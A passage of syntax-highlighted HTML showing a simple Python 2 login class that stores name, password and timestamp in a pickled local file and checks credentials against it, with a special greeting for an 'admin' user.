141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.time </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">str</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">time.time</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">())</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">tm </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39; </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.passwd </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39; </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.time        </span><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">file</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;db.txt&#39;</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, </span><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;ab&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.db </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">pickle.dump</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">tm, </span><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp, </span><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">True</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp.close</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">()</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">def </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">check</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">file</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;db.txt&#39;</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, </span><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;rb&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= []</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">while </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">True</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">            </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">try</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.db </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">pickle.load</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a.append</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.db</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">            </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">except</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp.close</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">()</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">break</span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        if </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">len</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">) </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&gt; </span></strong><span style="color: rgb(249, 113, 187); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">1</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">            </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">for </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i </span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">in </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">range</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">len</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">))</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.split</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(249, 113, 187); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">0</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.passwd </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.split</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(249, 113, 187); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">1</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">print </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#34;login success&#34;</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">print </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.split</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(249, 113, 187); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">2</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">Database.</span><span style="color: rgb(187, 176, 106); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">__del__</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, a, i</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">else</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">            </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(249, 113, 187); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">0</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">            </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">for </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i </span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">in </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">range</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">len</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">))</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.split</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(249, 113, 187); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">0</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.passwd </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.split</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(249, 113, 187); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">1</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">]:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">print </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#34;login success&#34;</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;admin&#39;</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                            </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.flag </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">True                            </span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">print </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#34;Welcome my admin&#34;</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                            </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">Database.</span><span style="color: rgb(187, 176, 106); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">__del__</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, a, i</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">def </span></strong><strong><span style="color: rgb(131, 214, 241); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">__del__</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 